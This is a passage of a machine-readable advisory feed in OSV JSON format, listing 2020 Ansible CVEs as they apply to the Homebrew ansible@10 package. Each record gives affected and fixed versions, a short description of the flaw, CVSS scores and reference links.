when using modules which decrypts vault files such as assemble, script, unarchive, win_copy, aws_s3 or copy modules. The temporary directory is created in /tmp leaves the s ts unencrypted. On Operating Systems which /tmp is not a tmpfs but part of the root partition, the directory is only cleared on boot and the decryp emains when the host is switched off. The system will be vulnerable when the system is not running. So decrypted data must be cleared as soon as possible and the data which normally is encrypted ble.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10685"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68433"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4e1fe80e681fa466626e9dea53efe6b0253ea1b2"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/51d2514753544a9d58cd7524e27e696b2c944fb5"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e1273b6faf036ed84e4f4edee85b888a4e256aee"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10685"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-77g3-3j5w-64w4"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-1.yaml"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-10691","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-3c67-gc48-983w","CVE-2020-10691","PYSEC-2020-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Path Traversal in Ansible","details":"An archive traversal flaw was found in all ansible-engine versions 2.9.x prior to 2.9.7, when running `ansible-galaxy collection` install. When extracting a collection .tar.gz file, the directory is created without sanitizing the filename. An attacker could take advantage to overwrite any file within the system.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10691"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68596"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/b2551bb6943eec078066aa3a923e0bb3ed85abe8"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10691"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3c67-gc48-983w"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-2.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-10729","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-r6h7-5pq2-j77h","CVE-2020-10729","PYSEC-2021-105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insufficiently random values in Ansible","details":"A flaw was found in the use of insufficiently random values in Ansible. Two random password lookups of the same length generate the equal value as the template caching action for the same file since no re-evaluation happens. The highest threat from this vulnerability would be that all passwords are exposed at once for the file. This flaw affects Ansible Engine versions before 2.9.6.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10729"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/34144"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67429"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c520d70bf4748c8ee6718a7d0d0254051ba1c2e9"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1831089"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r6h7-5pq2-j77h"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.6/changelogs/CHANGELOG-v2.9.rst"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-105.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-10744","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-vp9j-rghq-8jhh","CVE-2020-10744","PYSEC-2020-208"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Resource to Wrong Sphere and Insecure Temporary File in Ansible","details":"An incomplete fix was found for the fix of the flaw CVE-2020-1733 ansible insecure temporary directory when running become_user from become directive. The provided fix is insufficient to prevent the race condition on systems using ACLs and FUSE filesystems. Ansible Engine 2.7.18, 2.8.12, and 2.9.9 as well as previous versions are affected and Ansible Tower 3.4.5, 3.5.6 and 3.6.4 as well as previous versions are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10744"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/69782"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/77d0effcc5b2da1ef23e4ba32986a9759c27c10d"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/84afa8e90cd168ff13208c8eae3e533ce7e21e1f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ffd3757fc35468a97791e452e7f2d14c3e3fcb80"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10744"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vp9j-rghq-8jhh"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-208.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-14330","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-785x-qw4v-6872","CVE-2020-14330","PYSEC-2020-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Improper Output Neutralization and Improper Encoding or Escaping of Output for Logs in ansible","details":"An Improper Output Neutralization for Logs flaw was found in Ansible when using the uri module, where sensitive data is exposed to content and json output. This flaw allows an attacker to access the logs or outputs of performed tasks to read keys used in playbooks from other users within the uri module. The highest threat from this vulnerability is to data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14330"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/68400"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69653"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e0f25a2b1f9e6c21f751ba0ed2dc2eee2152983e"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-14330"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-785x-qw4v-6872"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-3.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-14332","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-j667-c2hm-f2wp","CVE-2020-14332","PYSEC-2020-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1rc2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File and Improper Output Neutralization for Logs in ansible","details":"A flaw was found in the Ansible Engine when using module_args. Tasks executed with check mode (--check-mode) do not properly neutralize sensitive data exposed in the event data. This flaw allows unauthorized users to read this data. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14332"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/71033"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/291f94934c8c49eef85e6539087f2dfcd001fe4f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6cae9a4b168df776bf82deb04b2c62e00c38b49a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/714cd2ad2eff7f003d728414afcb91591fad5d9a"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-14332"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-j667-c2hm-f2wp"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.10/changelogs/CHANGELOG-v2.10.rst#security-fixes-3"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.8/changelogs/CHANGELOG-v2.8.rst#security-fixes-4"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes-6"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-4.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-14365","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-m429-fhmv-c6q2","CVE-2020-14365","PYSEC-2020-209"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.13"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Improper Verification of Cryptographic Signature in ansible","details":"A flaw was found in the Ansible Engine, in ansible-engine 2.8.x before 2.8.15 and ansible-engine 2.9.x before 2.9.13, when installing packages using the dnf module. GPG signatures are ignored during installation even when `disable_gpg_check` is set to `False`, which is the default behavior. This flaw leads to malicious packages being installed on the system and arbitrary code executed via package installation scripts. The highest threat from this vulnerability is to integrity and system availability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14365"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1d043e082b3b1f3ad35c803137f5d3bcbae92275"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1fa2d5fd6b768120b76a77929e27302b06accc0c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/9bea33ffa3be3d64827f59882d95b817cfab9b7e"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1869154"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-m429-fhmv-c6q2"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-209.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-1733","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-g4mq-6fp5-qwcf","CVE-2020-1733","PYSEC-2020-5"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible vulnerable to Exposure of Resource to Wrong Sphere and Insecure Temporary File","details":"A race condition flaw was found in Ansible Engine 2.7.17 and prior, 2.8.9 and prior, 2.9.6 and prior when running a playbook with an unprivileged become user. When Ansible needs to run a module with become user, the temporary directory is created in /var/tmp. This directory is created with \"umask 77 && mkdir -p <dir>\"; this operation does not fail if the directory already exists and is owned by another user. An attacker could take advantage to gain control of the become user as the target directory can be retrieved by iterating '/proc/<pid>/cmdline'.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1733"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67791"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/80b9a0a25c5f75e84aefc8f2b293fb1933b154f2"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8251d9f4c2bc82632ab992277fcd30ccbf87aa47"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ecf99d5e1ff732a7777010facd6c98bb0994605e"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1733"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-g4mq-6fp5-qwcf"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-5.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-1734","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-h39q-95q5-9jfp","CVE-2020-1734","PYSEC-2020-6"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"OS Command Injection in ansible","details":"A flaw was found in the pipe lookup plugin of ansible. Arbitrary commands can be run, when the pipe lookup plugin uses `subprocess.Popen()` with `shell=True`, by overwriting ansible facts and the variable is not escaped by quote plugin. An attacker could take advantage and run arbitrary commands by overwriting the ansible facts.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1734"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67792"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/70159"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/70596"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4f978af4ca16ad9828ffe42203b9615425195f8b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/963bdd9983b91a48fb6949fb2ef41071e72d0be0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/bff0724e9eab2770f874e018298f9ab74cc2a78f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e5649ca3e807f17e7c034ee22791f107162973b0"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2020:0547"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2020:1539"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2020-1734"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1801804"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1734"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-h39q-95q5-9jfp"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-6.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-1735","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-gfr2-qpxh-qj9m","CVE-2020-1735","PYSEC-2020-7"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Path Traversal in Ansible","details":"A flaw was found in the Ansible Engine when the fetch module is used. An attacker could intercept the module, inject a new path, and then choose a new destination path on the controller node. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1735"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67793"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69023"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69024"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69025"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/18f91bbb88a84b1d3614ef41c3550da735592ac1"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/40969ff43812fabf5397f818d9e521f9b39c9c9a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/de9a4f5474c5f5db442ae7493d6b5da7177e335d"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-7.yaml"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes-7"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-gfr2-qpxh-qj9m"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1735"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-1736","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-x7jh-595q-wq82","CVE-2020-1736","PYSEC-2020-8"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Incorrect Permission Assignment for Critical Resource in Ansible","details":"A flaw was found in Ansible Engine when a file is moved using atomic_move primitive as the file mode cannot be specified. This sets the destination files world-readable if the destination file does not exist and if the file exists, the file could be changed to have less restrictive permissions before the move. This could lead to the disclosure of sensitive data. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1736"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67794"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1736"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-x7jh-595q-wq82"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-8.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2NYYQP2XJB2TTRP6AKWVMBSPB2DFJNKD"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BPNZWBAUP4ZHUR6PO7U6ZXEKNCX62KZ7"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-1737","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-893h-35v4-mxqx","CVE-2020-1737","PYSEC-2020-9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","